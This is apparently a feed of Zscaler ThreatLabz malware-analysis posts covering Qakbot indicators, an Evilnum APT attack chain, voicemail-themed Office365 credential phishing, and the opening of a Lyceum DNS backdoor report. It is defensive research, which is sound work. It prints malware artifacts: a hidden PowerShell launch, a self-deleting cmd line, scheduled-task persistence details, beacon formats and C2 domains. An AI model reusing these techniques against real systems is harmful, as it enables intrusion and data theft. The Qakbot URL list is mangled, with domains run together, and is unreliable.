“C:\INTERNAL\__empty”. Figure 15: Payload checking GetFileAttributesW The sample also uses some flags like SELF_TEST_1 which appear to be for debugging purposes. Figure 16: Setting flag for debugging purpose Figure 17: Zscaler Sandbox report for Qakbot DLL Zscaler's multilayered cloud security platform detects indicators, as shown below: LNK.Downloader.Qakbot VBA.Downloader.Qakbot The following details can be found in the Qakbot configuration file which we examined connecting to the server through explorer.exe. BOTNET ID: Obama188 [+] C2 IPs: Indicators of Compromise [+] Payload URLs: anukulvivah.comnobeltech[.] griffinsinternationalschool.intierrasdecuyo[.] tajir[.]comdocumentostelsen[.]com wrcopias[.]com.brls[.] dk-chic[.]combendhardwoodflooring[.]com stalwartnv[.]comdelartico[.]com newportresearchassociates[.]comjindalfabtex[.]com softwarela.orgasesorescontables[.] segurabr[.] hams.psalrabbat[.]com glistenworld[.]comsonalifecare[.]com stuttgartmed[.] act4dem.netglistenworld[.]com ananastours[.]comhostingdeguatemala[.]com gmsss45c[.]comasiatrendsmfg[.]com facturamorelos[.]comjnpowerbatteries[.]com minimean[.]com1031taxfreexchange[.]com pbxebike[.]comhigradeautoparts[.]com parkbrightworldwideltd[.] baalajiinfotechs[.]commomoverslegypte[.]com recetasparaelalmapanama[.] wecarepetz[.]com.brbrothersasian[.]com knapppizzabk[.]comwecarepetz[.] jeovajirelocacao[.] bouncehouserentalmiami.netmahasewanavimumbai[.]com hotelsinshillong.inbrothersasian[.]com tamiltechhints[.]comitaw-int[.]com tvtopcultura[.]com.brmadarasapattinam[.]com desue.mxautocadbeginner[.]com ifongeek[.]comtunaranjadigital[.]com avaniamore[.]comthecoursecreators[.]com thecoursecreators[.]comdrishyamopticals[.]com thewebinarchallenge[.]comiammyprioritylive[.]com erekha.invegascraftbeertour[.]com rommify.orgpbsl[.] pbsl[.] outsourcingmr[.]comofferlele[.]com courtalamarivuthirukovil.orgelchurritorojas[.]com jinglebells.ngthebrarscafe[.]com bigtv3d.inretroexcavaciones[.]com aimwithnidhi.invizionsconsulting[.]com gaurenz[.]comamarelogema[.] wiredcampus.inretroexcavaciones[.]com elchurritorojas[.]comglobalwomenssummit2020[.]com byonyks[.]comwfgproduction[.]com wfgproduction[.] reachprofits[.] vegascraftbeertour[.]comnightsclub[.]com assistenciatecnicaembh24h[.]com.brtheinfluencersummit2021[.]com grupoumbrella[.]com.brbjfibra[.]com fra[.]com.arthewebinarstore[.]com wlrinformatica[.]com.brminahventures[.]com alternativecareers.inwvquali[.] longwood-pestcontrol[.] viasalud.mxecsshipping[.]com misteriosdeldesierto.pelgfcontabilidade[.] mariebeeacademy[.]commuthumobiles[.]com teamone[.] wiredcampus.inteamone[.] furnitureion[.]comekofootball[.]com comunidadecristaresgate[.]com.bryqsigo[.]com wiredcampus.intheinfluencerlaunch[.]com mi24securetech[.] attalian[.]comrudrafasteners[.]com filmandtelevisionindia[.]comcloudberrie[.]com brikomechanical[.]comideiasnopapel[.] neovation.sgatozinstrument[.]com tecnobros8[.] brikomechanical[.]comleaoagronegocios[.] sonhomirim[.]com.brwlrinformatica[.] narendesigns[.]comsla[.] rstkd[.]com.brdelacumbrefm[.]com leaoagronegocios[.][.] www.centerplastic[.]com.brpawnest[.]com leaseicemachine[.]comsegiaviamentos[.] virtualexpo.cactusfuturetech[.] amicodelverde[.]comhunbuzz[.]com prova.gaia.srlprodotti.curadelprato[.]com prodotti.curadelprato[.]comdomenico[.] anukulvivah[.]comahmedabadpolicestories[.]com rylanderrichter[.]comtajir[.]com searchgeo.org4md-uae[.]com matjarialmomayz[.]comformularapida[.] carnesecaelpatron[.]com.mxbengallabourunion[.]com alphanett[.]com.brragvision[.]com[.] gph.lkabingdonhomes[.]com impexlanka[.]comludoi[.] mufinacademy[.]com1031oilgasexchange[.]com indexpublicidade[.]com.brhullriverinternationalltd[.]com srgsdelhiwest[.]comproyectostam[.]com[.]com brunocesar.meonlywebsitemaintenance[.]com lbconsultores[.] guitarconnectionsg[.]comguestpostmachine[.]com[.]com waitthouseinc.orgofferlele[.]com cuddlethypet[.]comsrimanthexports[.]com espetinhodotom[.]comluxiaafinishinglab[.]com greyter[.]commoodle-on[.]com niramayacare.inmakazadpharmacy[.]com netleasesale[.]comnathanflax[.]com erimaegypt[.]comclashminiwiki[.]com topfivedubai[.] profitsbrewingnews[.]commotobi[.] polistirolo.orgpalashinternationals[.]com[.] mzdartworkservicesllc[.]comwalmondgroup[.]com saffroneduworld[.]comlacremaynaty[.] ifongeek[.]comgrowscaleandprofit[.]com getishdonelive[.]cominfluencerlaunches[.]com apk.hap.incalldekesha[.]com vortex.cmspeakatiamp[.]com thewebinarclinic[.]comthewebinarchecklist[.]com sathyaunarsabha.orgoutsourcingmr[.]com webdoweb[.] future-vision[.]com.trbrunalipiani[.] ecotence.xyznimbus[.] hearingaidbihar[.]combarcalifa[.] oladobeldavida[.] alternativecareers.inrsbnq[.]com chezmarblan[.] devconstech[.]comcumipilek[.]com daptec[.] indiacodecafe[.]comecsshipping[.]com assimpresaroma.itcampandvillas[.]com styleavail[.]comomtapovan[.]com programandoavida[.]com.brindiacodecafe[.]com bruno-music[.] agbegypt[.] 1031wiki[.] nimbus[.]com.qavivanaweb[.] shareyourcake.orgprotocolostart[.]com acertoinformatica[.] devconstech[.] acertoinformatica[.]com.brrumbakids[.]com haskekudla[.]comkraushop[.]com Mahalaxmibastralayanx.inchuckdukas[.]com [+] Hashes XLSB: 58F76FA1C0147D4142BFE543585B583F 4DFF0479A285DECA19BC48DFF2476123 D7C3ED4D29199F388CE93E567A3D45F9 3243D439F8B0B4A58478DFA34C3C42C7 396C770E50CBAD0D9779969361754D69 C2B1D2E90D4C468685084A65FFEE600E LNK: 54A10B41A7B12233D0C9EACD11036954 E134136D442A5C16465D9D7E8AFB5EBE 7D0083DB5FA7DE50E620844D34C89EFC C2663FCCB541E8B5DAA390B76731CEDE Qakbot: 529FB9186FA6E45FD4B7D2798C7C553C [+] Filenames: Calculation-1517599969-Jan-24.xlsb Calculation-Letter-1179175942-Jan-25.xlsb ClaimDetails-1312905553-Mar-14.xlsb Compensation-1172258432-Feb-16.xlsb Compliance-Report-1634724067-Mar-22.xlsb ContractCopy-1649787354-Dec-21.xlsb DocumentIndex-174553751-12232021.xlsb EmergReport-273298556-20220309.xlsb Payment-1553554741-Feb-24.xlsb ReservationDetails-313219689-Dec-08.xlsb Service-Interrupt-977762469.xlsb Summary-1318554386-Dec27.xlsb W_3122987804.xlsb A_1722190090.xlsb AO_546764894.xlsb Nh_1813197697.xlsb LM_4170692805.xlsb report228.lnk report224.lnk Tue, 12 7月 2022 14:48:06 -0700 Tarun Dewan Return of the Evilnum APT with updated TTPs and new targets Summary Since the beginning of 2022, ThreatLabz has been closely monitoring the activities of the Evilnum APT group. We identified several instances of their low-volume targeted attack campaigns launched against our customers in the UK and Europe region. The new instances of the campaign use updated tactics, techniques, and procedures. In earlier campaigns observed in 2021, the main distribution vector used by this threat group was Windows Shortcut files (LNK) sent inside malicious archive files (ZIP) as email attachments in spear phishing emails to the victims. In the most recent instances, the threat actor has started using MS Office Word documents, leveraging document template injection to deliver the malicious payload to the victims’ machines. In this blog, we present the technical details of all components involved in the end-to-end attack chain. At the time of writing, to the best of our knowledge, the complete attack chain of this new instance of Evilnum APT group is not publicly documented anywhere. ThreatLabz has identified several domains associated with Evilnum APT group which have not been previously detected by security vendors. This discovery indicates that the Evilnum APT group has been successful at flying under the radar and has remained undetected for a long time. Key points The key targets of the Evilnum APT group have predominantly been in the FinTech (Financial services) sector, specifically companies dealing with trading and compliance in the UK and Europe. In March 2022, we observed a significant update in the choice of targets of Evilnum APT group. They targeted an Intergovernmental organization which deals with international migration services. The timeline of the attack and the nature of the chosen target coincided with Russia-Ukraine conflict. Macro-based documents used in the template injection stage leveraged VBA code stomping technique to bypass static analysis and also to deter reverse engineering. A heavily obfuscated JavaScript was used to decrypt and drop the payloads on the endpoint. The JavaScript configured a scheduled task to run the dropped binary. This JavaScript has significant improvements in the obfuscation technique compared to the previous versions used by EvilNum APT group. The names of all the file system artifacts created during the course of execution were chosen carefully by the threat actor to spoof legitimate Windows and other legitimate third party binaries' names. In each new instance of the campaign, the APT group registered multiple domain names using specific keywords related to the industry vertical targeted. Attack flow Figure 1: Attack chain Technical Analysis For the purpose of technical analysis we will consider the document with MD5: 0b4f0ead0482582f7a98362dbf18c219 Stage 1: Malicious document The stage 1 malicious document is delivered via spear phishing email. Once the user downloads and opens the malicious document, it fetches the stage 2 macro template from the attacker-hosted domain and displays the decoy content as shown in Figure 2 asking the user to enable the macro content. Figure 2: Decoy content Stage 2: Macro template [VBA code stomping technique] The stage 2 template contains the main malicious macro code. It makes use of VBA code stomping technique which is fairly uncommon in the wild. This technique destroys the original source code and only a compiled version of the VBA macro code (also known as p-code) is stored in the document. As a result, this technique prevents static analysis tools such as olevba from extracting the decompiled VBA code. Using the technique mentioned by the Walmart team here, we were able to extract the full macro code. All the strings in the macro code are decrypted using the string decryption function shown in Figure 3. Figure 3: String decryption function used in the VBA macro code Below are the key functionalities of the macro. 1. The document file has two text boxes with encrypted contents. These textboxes will be decrypted at run time by the VBA macro code. a) Textbox 1 - msform_ct.TextBox1.Text. This will be decrypted and contents will be written to %appdata%\"ThirdPartyNotices.txt" b) Textbox 2 - msform_ct.TextBox2.Text - This will be decrypted and contents will be written to "%appdata%\Redist.txt" 2. Copies the legitimate Windows binary Wscript.exe to a file with the name "msdcat.exe". Such file copy operations are done by malwares as a way to bypass endpoint security products. 3. The file - Redist.txt contains the obfuscated JavaScript which will be executed with the following command line: msdcat.exe" /E:jscRipt "%appdata%\Redist.txt" dg ThirdPartyNotices.txt Note: "dg" is a hard coded command line parameter present inside the VBA macro code. 4. During the course of execution of VBA macro code, there are multiple calls to doc.Shapes.AddPicture() which fetches a JPG image from the attacker-controlled server. We believe this was done by the attacker to trace and log the execution of code on the endpoint. One such example is shown in Figure 4. There is a call to doc.Shapes.AddPicture() between the building of the command line and the execution of the command line. Figure 4: VBA code fetches image from attacker’s server to log actions on endpoint Stage 3: Dropped JavaScript [Deobfuscation and analysis] The original JavaScript dropped by the VBA-based macro code is heavily obfuscated. We will highlight some of the unique obfuscation techniques used which are rarely observed in obfuscated JavaScripts. There are two parameters passed to this JavaScript at the time of execution with following command line: msdcat.exe" /E:jscRipt "C:\Users\user\AppData\Roaming\Redist.txt" dg ThirdPartyNotices.txt parameter 1: "dg". This string is later used in the string decryption function in JavaScript. parameter 2: The file "ThirdPartyNotices.txt" contains the encrypted code which will be decrypted and dropped by the JavaScript on the filesystem with binary name - SerenadeDACplApp.exe Most obfuscation techniques involve a large array of encrypted and encoded strings which are referenced throughout the code using indexes. A common approach to deobfuscate this requires multiple "search and replace" operations where you replace the reference with the actual decrypted and decoded string. JavaScript in this case used an interesting technique where the original array of strings was shuffled, and would be unshuffled in memory at the time of execution. So, any attempt to dereference the strings without unshuffling the array would result in an error. Such a method can be used to deter reverse engineering and also bypass some tools which try to automate the process of deobfuscation. Let's look at it in more detail. Figure 5 below shows the huge array of strings defined at the beginning of the JavaScript. This array is wrapped inside a function as an extra layer of obfuscation. Figure 5: array of encoded and encrypted strings The next step is to unshuffle the array. Figure 6 below shows the relevant JavaScript code which uses a brute force approach to unshuffle the array. It has a predefined seed of value "0x6467a". Upon each iteration, the function computes a seed using various mathematical operations and compares it with the predefined seed "0x6467a". The function continues to shift the contents of the array by one position to the right until this condition is satisfied. Relevant comments are included in the code to illustrate the unshuffling logic. Figure 6: JavaScript function which unshuffles the array Other techniques used for obfuscation involve control flow flattening techniques which leverage switch-case obfuscation. Figure 7 shows one of the string decryption functions which uses such an obfuscation technique. Figure 7: Control flow flattening using switch-case obfuscation The sequence of steps of decryption are shuffled using switch-case and the order is followed according to the following sequence: "15|12|3|2|14|5|1|10|9|17|8|7|6|4|13|16|0|11" It means, "case 15" is executed followed by "case 12" and so on. The final “case 11” returns the decrypted string. We can re-write the string decryption function as shown in Figure 8 which is easier to analyze. Figure 8: re-written string decryption function We have included a list of interesting decrypted strings extracted from the JavaScript in Appendix I. [+] Persistence The threat actor achieves persistence via Scheduled task. During JavaScript execution, a scheduled task with the name "UpdateModel Task'' will be created to execute the dropped loader binary with required command line arguments. Task details: <Exec> <Command> %appdata%\Microsoft\FontCache\CloudFonts\SerenadeDACplApp.exe </Command> <Arguments> "OUM3NjBDNjAtRkNDQi00Q0FDLUE5NEMtNzY0RTc5MDNDN0Mw" "devZUQVD.tmp" "NzkzMTA3" "Ni4xLjc2MDE%3D" 0 "E4A6450B" "NTk1NDQxWwpaWhlhdmVbB1tf" Z </Arguments> <WorkingDirectory> %appdata%\Microsoft\FontCache\CloudFonts </WorkingDirectory> </Exec> Stage 4: Dropped binary (Loader) As described in previous section, the JavaScript drops two files: a) An executable file (SerenadeDACplApp.exe) - It turns out to be a loader b) A binary file (devZUQVD.tmp) - This is the file loaded during runtime by the loader The loader is executed by the scheduled task along with the required arguments. During the course of its execution it performs following operations: 1. Performs command-line checks and extracts the file name for the binary to be loaded The loader checks if the command-line ends with ("). If true then it will terminate the process else it will parse the arguments to extract the file name for the binary file to be loaded. # There are two code logics to extract the file name If the first argument has the format (--[char]=[char]*) then the loader will remove the first 5 characters from this argument string, prepend "dev" and append ".tmp" to it. The resulting string is used as the file name for the dropped binary. Example: Argument string: --E=nThisIsUsedInFileName Extracted file name: devThisIsUsedInFileName.tmp The second argument string is used as the file name for the dropped binary 2. Generate full path for the dropped binary file in DOS format The loader first extracts the full path of the currently executing binary and prepends it with “\\??\\” and then overwrites the file name of the currently executing binary with the file name extracted in Step-1. 3. Using the Heaven's gate technique calls the NtOpenFile API to create a file handle 4. Allocates memory for reading the file content using RtlAllocateHeap API 5. Using the Heaven's gate technique calls the NtReadFile API to read the file content to allocated memory 6. Decrypt the file content # Encrypted content format XOR key length (1 byte) + XOR key + encrypted content size (4 bytes) + encrypted content Figure 9: Encrypted content format The decrypted content turns out to be a PE file that uses a custom format for storing the PE header and section header information. # Decrypted content format Custom PE header (+ Custom Section header + Section data)*Number of sections # PE header format Start of decrypted content as well as PE header (1 byte - 00) + Image Base (4 bytes) + Size of Image (4 bytes) + Entry Point (4 bytes) + Number of sections (4 bytes) + Offset to first section information from start of decrypted content (4 bytes) + Size of decrypted content (4 bytes) # Section header format Section number marker (1 byte) + Section RVA (4 bytes) + Section VirtualSize (4 bytes) + Unknown (4 bytes) Figure 10: PE header, Section header and Section data 7. Using the Heaven's gate technique calls the NtAllocateVirtualMemory API to allocate memory for the PE file to be mapped. Note: The size is taken from the PE header format described above. 8. Map the PE file in memory. 9. Using Heaven's gate technique calls the NtCreateThreadEx API to create a thread pointing to the entry point of mapped PE. Note: The loader uses Heaven's gate technique to evade endpoint security products as well as syscall or API monitoring applications. It uses a custom header format to thwart memory scanning for PE header or section header patterns and also makes it difficult to dump and analyze the PE file as a standalone executable. Stage 5: Mapped PE (Main backdoor) The mapped PE is the main backdoor of the attack chain. On execution it performs the following operations: 1. Decrypts the backdoor configuration which includes : a) C2 domains b) User Agent strings c) Network paths d) Referrer strings e) Cookies type strings f) Request methods + Library names (These will be loaded during further execution) + Network communication key generation seed bytes + Mutex name All the information inside the configuration is encrypted using XOR key. The XOR key is different for each data item within the configuration. # Encrypted data item format Encrypted data size (2 bytes) + Encrypted data + XOR Key length (2 bytes) + XOR Key Figure 11: Encrypted data item format 2. Resolves API addresses for the libraries retrieved from the configuration 3. Performs mutex check 4. Builds data exfiltration string to be sent as part of the beacon request # String format { "v":"62","u":"{first_arg-user_id}","a":"{third_arg}","w":"{fourth_arg}","d":"{sixth_argument}","n":"{seventh_arg}","r":"0","xn":"{name_of_executing_binary}","s":0 } 5. Encrypt and Base64 encode the generated string Figure 12: Steps performed for encrypting and encoding the exfiltrated data Note: You can find the decryption code under Appendix III section 6. Embed the encoded string inside the cookie header field by selecting one of the cookie type strings from the configuration. [+] Network communication Once all the above operations are done. The backdoor selects one of the C2 domains and a path string from the configuration and sends the beacon network request. If the beacon request is successful, the backdoor will query the server for available content and download it. Based on the content size two different operations are performed: 1. If the content size is 4 then the backdoor checks if the downloaded data is equal to "01". If true, it takes the machine snapshot and sends it to the C2 server via POST request. The snapshot data is exfiltrated in encrypted form with the cookie header containing additional information. # Format of cookie header string { "u":"{first_arg-user_id}", "sc":1, "dt"="{snapshot_date_time}" } 2. If the content size is greater than 4, then the backdoor decrypts the downloaded data and executes it. Zscaler Sandbox report # Template payload Indicators of compromise [+] Hashes MD5 Description Filename 0b4f0ead0482582f7a98362dbf18c219 Document proof of ownership.docx 4406d7271b00328218723b0a89fb953b Document tradersway compliance.docx 61776b209b01d62565e148585fda1954 Document vantagemarkets documents.docx 6d329140fb53a3078666e17c249ce112 Document vantagefx compliance.docx db0866289dfded1174941880af94296f Document calliber docs (2).docx f0d3cff26b419aff4acfede637f6d3a2 Document complaince tfglobaltrading.docx 79157a3117b8d64571f60fe62c19bf17 Document complaint 63090a9d67ce9534126cfa70716d735f Document fxtm_compliance.docx f5f9ba063e3fee25e0a298c0e108e2d4 Document livetraderfx.docx ea71fcc615025214b2893610cfab19e9 Loader SerenadeDACplApp.exe 51425c9bbb9ff872db45b2c1c3ca0854 Encrypted binary devZUQVD.tmp [+] C2 Domains travinfor[.]com webinfors[.]com khnga[.]com netwebsoc[.]com infcloudnet[.]com bgamifieder[.]com bunflun[.]com refinance-ltd[.]com book-advp[.]com mailservice-ns[.]com advertbart[.]com inetp-service[.]com yomangaw[.]com covdd[.]org visitaustriaislands[.]com traveladvnow[.]com tripadvit[.]com moreofestonia[.]com moretraveladv[.]com estoniaforall[.]com bookingitnow[.]org travelbooknow[.]org bookaustriavisit[.]com windnetap[.]com roblexmeet[.]com netrcmapi[.]com meetomoves[.]com bingapianalytics[.]com azuredcloud[.]com appdllsvc[.]com udporm[.]com pcamanalytics[.]com nortonalytics[.]com deltacldll[.]com mscloudin[.]com msdllopt[.]com [+] Unique URI paths # Below URI paths are appended to the domain names by the malware while sending POST requests /actions/async.php /admin/settings.php /admin/user/controller.php /admin/loginauth.php /administrator/index.php /cms/admin/login.php /backend/login/ajax_index.php /wp-admin/media-new.php /get.php /auth/login [+] Scheduled task names UpdateModel Task PropertyDefinitionSync Schedule Defrag Appendix I # Unique strings extracted from the deobfuscated JavaScript appdata%\Microsoft\FontCache\CloudFonts\Fonts Schedule.Service SELECT UUID FROM Win32_ComputerSystemProduct SELECT Version FROM Win32_OperatingSystem %USERDOMAIN% %USERNAME% MUID UpdateModel Task /c start /min "" powershell -inputformat none -outputformat none -windowstyle hidden -c %localappdata%\DELL\DellMobileConnect\Dumps\TechToolkit.exe %localappdata%\DELL\DellMobileConnect\Dumps PropertyDefinitionSync PT5H %appdata%\Mael Horz\HxD Hex Editor\Logs\nvapiu.exe %appdata%\Mael Horz\HxD Hex Editor\Logs Schedule Defrag PT5H MetadataRefreshTask WsSwap AssessmentTask U64Pan.exe cmd /c ""ping -n 5 -w 10000 > nul & del /q avast avg AntiVirusProduct SerenadeDACplApp.exe Western Digital\WD Backup\Storage calcy SupportAssistAppWire.exe E4A6450B wctXSPKB.tmp msdcat Appendix II # Runtime strings present inside the unpacked backdoor binary /admin/settings.php /admin/index.php /actions/authenticate.php /index.php /actions/async.php /wp-admin/media-new.php /backend/login/ajax_index.php /administrator/index.php /admin/login.php /admin/loginauth.php /wp-admin/admin-ajax.php /admin/user/controller.php /get.php /cms/admin/login.php APISID SAPISID SIDCC MSFPC __cfruid _vwo_uuid_v2 campaign source Referer: Referer: Referer: Referer: Referer: Referer: Referer: Connection: keep-Alive Content-Type: text/plain Accept-Language: en-US,en;q=0.8 Accept: */* Cookie: Global\wU3aqu1t2y8uN ntdll.dll kernel32.dll combase.dll ole32.dll OleAut32.dll wininet.dll Shell32.dll Shcore.dll User32.dll Gdi32.dll Appendix III # Decryption code for network communication #include <Windows.h> #include <stdio.h> #define SEED_SIZE 32 VOID DeriveKey(BYTE seed[], BYTE key[]) { BYTE swapByte = 0; BYTE seedIndex = 0; BYTE calKeyIndex = 0; /* Initialize the key array */ for (int i = 0; i < 256; i++) { key[i] = i; } /* Calculate XOR key */ for (int currKeyIndex = 0; currKeyIndex < 256; currKeyIndex++) { calKeyIndex = seed[currKeyIndex % SEED_SIZE] + key[currKeyIndex] + calKeyIndex; swapByte = key[currKeyIndex]; key[currKeyIndex] = key[calKeyIndex]; key[calKeyIndex] = swapByte; } /* Print the derived XOR key */ for (int k = 0; k < 256; k++) { printf("%02x ", key[k]); } } VOID Decrypt(BYTE data[], BYTE key[]) { BYTE XORKeySize = data[0]; BYTE *XORKey = (BYTE*)data + sizeof(BYTE); UINT encryptedDataSize = data[sizeof(BYTE) + XORKeySize]; BYTE *encryptedData = (BYTE*)data + (sizeof(BYTE) + XORKeySize + sizeof(UINT)); BYTE *layer1DecryptedData = (BYTE*)malloc(encryptedDataSize); for (UINT dataIndex = 0; dataIndex < encryptedDataSize; dataIndex++) { layer1DecryptedData[dataIndex] = encryptedData[dataIndex] ^ XORKey[dataIndex % XORKeySize]; } BYTE swapByte = 0; BYTE calKeyIndex = 0; BYTE finalKeyIndex = 0; for (UINT index = 1; index <= encryptedDataSize; index++) { calKeyIndex = key[index] + calKeyIndex; swapByte = key[index]; key[index] = key[calKeyIndex]; key[calKeyIndex] = swapByte; finalKeyIndex = key[index] + key[calKeyIndex]; printf("%c ", layer1DecryptedData[index - 1] ^ key[finalKeyIndex]); } } int main() { BYTE key[256]; BYTE seed[SEED_SIZE] = { // Taken from configuration 0xBD, 0xDE, 0x96, 0xD2, 0x9C, 0x68, 0xEE, 0x06, 0x49, 0x64, 0xD1, 0xE5, 0x8A, 0x86, 0x05, 0x12, 0xB0, 0x9A, 0x50, 0x00, 0x4E, 0xF2, 0xE4, 0x92, 0x5C, 0x76, 0xAB, 0xFC, 0x90, 0x23, 0xDF, 0xC6 }; BYTE data[] = { // Put Base64 decoded encrypted data here in HEX format }; DeriveKey(seed, key); printf("\n\n"); Decrypt(data, key); return 0; } Mon, 27 6月 2022 08:26:32 -0700 Sahil Antil Resurgence of Voicemail-themed Phishing Attacks Targeting Key Industry Verticals in US Summary Since May 2022, ThreatLabz has been closely monitoring the activities of a threat actor which targets users in various US-based organizations with malicious voicemail-notification-themed emails in an attempt to steal their Office365 and Outlook credentials. The tactics, techniques, and procedures (TTPs) of this threat actor have a high overlap with a previous voicemail campaign that ThreatLabz analyzed in July 2020. In this new instance of the campaign, the threat actor has targeted users in US-based organizations in specific verticals including software security, US military, security solution providers, healthcare / pharmaceutical, and the manufacturing supply chain. As Zscaler was one of the targeted organizations, it gave us a good insight into the full attack chain and motives of this threat actor. Key points Voicemail-themed phishing campaigns continue to be a successful social engineering theme used by this threat actor to lure victims in opening a malicious attachment. Multiple key industry verticals in the US such as military, software security vendors, healthcare, pharmaceuticals, and the manufacturing supply chain were targeted by this threat actor. The goal of the threat actor is to steal credentials of Office365 and Outlook accounts, both of which are widely used in large enterprises. A CAPTCHA is used by the threat actor to guard the final credential phishing page from automated URL analysis algorithms. Each URL is specifically crafted for the targeted individual and the targeted organization. The campaign is active at the time of publishing this report. Attack chain The attack flow involves a voicemail-themed notification email sent to the victim. The email contains an HTML attachment which, when opened, will redirect the user to a credential phishing site. The goal of the threat actor is to harvest Office 365 credentials of the victim. We will describe each component of the attack-chain in more detail in this report. Attack chain [Technical analysis] Email analysis The email theme is focused on a voicemail notification that tells the victim they have a missed voicemail, promting the user to open the HTML attachment. This social engineering technique has worked successfully for the threat actor in previous campaigns. Figure 1 shows an example of the email sent to the victim. The "From" field of the email was crafted specifically to align with the targeted organization's name. Figure 1: Voicemail-themed email sent to a user at Zscaler Analysis of the email headers shows that the threat actor leveraged email servers located in Japan. Figure 2 shows the headers for one of the emails. Figure 2: Email header Figure 3: Mail server details HTML attachment analysis For the purpose of analysis, we will consider the HTML attachment with the MD5 hash: dd0ddbc951de5cad9c8ace516c514693 Figure 4 shows the HTML attachment sent in the email which contains encoded JavaScript. Figure 4: HTML attachment Figure 5 shows the resulting code after deobfuscation. Figure 5: Decoded JavaScript from the HTML attachment This code redirects the user to an attacker-controlled URL using window.location.replace() URL analysis [Stage-1 URL] - Redirector The URL inside the HTML attachment is a redirector URL which redirects the user to the final credential phishing page. In each instance of the attack, the URL followed a consistent format which included the name of the targeted organization as well as the email address of the targeted individual. Figure 6 below highlights the format. Figure 6: Stage-1 URL format For instance, when an individual in Zscaler was targeted, the URL used the following format: zscaler.zscaler.briccorp[.]com/<base64_encoded_email> Since the format of the URL gives away critical information about the target, we used that information from our collected telemetry to enumerate the list of targeted organizations and individuals. Based on analysis of this telemetry, we can conclude with a high confidence level that the targets chosen by the threat actor are organizations in the US military, security software developers, security service providers, healthcare / pharmaceutical and supply-chain organizations in manufacturing and shipping. It is important to note that if the URL does not contain the base64-encoded email at the end; it instead redirects the user to the Wikipedia page of MS Office or to [Stage 2 URL] CAPTCHA check The Stage 1 URL in the HTML attachment will redirect the user to the Stage 2 URL which requires the user to solve a Captcha before presenting the actual Office credential phishing page. For Captcha, it uses the Google reCAPTCHA technique. This helps the threat actor evade automated URL analysis tools. A similar technique was used in the July 2020 instance of a voicemail-themed campaign. Figure 7 and 8 show 2 examples of captcha displayed by the Stage 2 URLs. Figure 7: Captcha displayed by the phishing page Figure 8: Captcha displayed by the phishing page [Stage 3 URL] - Credential phishing page Once the user solves the Captcha successfully, they will be redirected to the final credential phishing page which attempts to steal the Office 365 credentials of the user as shown in Figure 9. Figure 9: Actual credential phishing page of Office 365 Zscaler’s detection status Zscaler’s multilayered cloud security platform detects indicators at various levels, as seen here: HTML.Phish.Microsoft HTML.Phish.Office365 HTML.Phish.Zscaler Figure 10 shows the detection status of Zscaler's credential phishing detection system. Figure 10: URL detection by Zscaler's credential phishing detection system Conclusion Voicemail-themed phishing campaigns continue to be a successful social engineering technique for attackers since they are able to lure the victims to open the email attachments. This combined with the usage of evasion tactics to bypass automated URL analysis solutions helps the threat actor achieve better success in stealing the users' credentials. As an extra precaution, users should not open attachments in emails sent from untrusted or unknown sources. As a best practice, in general, users should verify the URL in the address bar of the browser before entering any credentials. The Zscaler ThreatLabz team will continue to monitor this campaign, as well as others, to help keep our customers safe. Indicators of compromise (IOCs) # attacker-registered domains briccorp[.]com bajafulfillrnent[.]com bpirninerals[.]com lovitafood-tw[.]com dorrngroup[.]com lacotechs[.]com brenthavenhg[.]com spasfetech[.]com mordematx[.]com antarnex[.]com Fri, 17 6月 2022 16:44:06 -0700 Sudeep Singh Lyceum .NET DNS Backdoor Active since 2017, Lyceum group is a state-sponsored Iranian APT group that is known for targeting Middle Eastern organizations in the energy and telecommunication sectors and mostly relying on .NET based malwares. Zscaler ThreatLabz recently observed a new campaign where the Lyceum Group was utilizing a newly developed and customized .NET based malware targeting the Middle East by copying the underlying code from an open source tool. Key Features of this attack: The new malware is a .NET based DNS Backdoor which is a customized version of the open source tool “” The malware leverages a DNS attack technique called "DNS Hijacking" in which an attacker- controlled DNS server manipulates the response of DNS queries and resolve them as per their malicious requirements. The malware employs the DNS protocol for command and control (C2) communication which increases stealth and keeps the malware communication probes under the radar to evade detection. Comprises functionalities like Upload/Download Files and execution of system commands on the infected machine by abusing DNS records, including TXT records for incoming commands and A records for data exfiltration. Delivery mechanism During this campaign, the macro-enabled Word document (File name: ir_drones.docm) shown below is downloaded from the domain “http[:]//” disguising itself as a news report related to military affairs in Iran. The text of the document is copied from the following original report here: https[:]//www[.]rferl[.]org/a/iran-drone-program-threats-interests/31660048.html Fig 1. Attached Macro-enabled Word Document Once the user enables the macro content, the following AutoOpen() function is executed which increases picture brightness using “PictureFormat.Brightness = 0.5” revealing content with the headline, “Iran Deploys Drones To Target Internal Threat, Protect External Interests.” Fig 2. AutoOpen() function revealing content to lure the victims The threat actor then leverages the AutoClose() function to drop the DNS backdoor onto the system. Upon closing the document the AutoClose() function is executed, reading a PE file from the text box present on the 7th page of the word document and parsing it further into the required format as shown below with the “MZ” header as the initial two bytes of the byte stream. Fig 3. AutoClose() function reading the PE File This PE file is then further written into the Startup folder in order to maintain persistence via the macro code as shown below in the screenshot. With this tactic, whenever the system is restarted, the DNS Backdoor is executed. Fig 4. DNS Backdoor dropped in the Startup folder The dropped binary is a .NET based DNS Backdoor named “DnsSystem” which allows the threat actors to execute system commands remotely and upload/download data on the infected machine. Below, we analyze the dropped .NET based DNS Backdoor and its inner workings. Lyceum .NET DNS backdoor The Lyceum Group has developed a .NET based DNS Backdoor which has been widely used in the wild in their recent campaigns. As discussed earlier, the backdoor was dropped in the Startup folder of the infected system from a Macro Enabled Word document. md5: 8199f14502e80581000bd5b3bda250ee Filename: DnsSystem.exe Attack Chain Analysis The .NET based DNS Backdoor is a customized version of the Open source tool (DnsDig) found here: DNS.NET Resolver (C#) - CodeProject. is an open source DNS Resolver which can be leveraged to perform DNS queries onto the DNS Server and then parse the response. The threat actors have customized and appended code that allows them to perform DNS queries for various records onto the custom DNS Server, parse the response of the query in order to execute system commands remotely, and upload/download files from the Command & Control server by leveraging the DNS protocol. Initially the malware sets up an attacker controlled DNS server by acquiring the IP Address of the domain name “cyberclub[.]one” = 85[.]206[.]175[.]199 using Dns.GetHostAddresses() for the DIG Resolver function, which in turn triggers an DNS request to cyberclub[.]one for resolving the IP address. Now this IP is associated as the custom attacker controlled DNS Server for all the further DNS queries initiated by the malware. Fig 5. Initialize Attacker-Controlled DNS Server Next, the Form Load function generates a unique BotID depending on the current Windows username. It converts the username into its MD5 equivalent using the CreateMD5() function, and parses the first 8 bytes of the MD5 as the BotID for the identification of the user and system infected by the malware. Fig 6. Generation of BotID using the Windows username Now, the backdoor needs to receive commands from the C2 server in order to perform tasks. The backdoor sends across an initial DNS query to “” wherein the domain name “” is concatenated with the 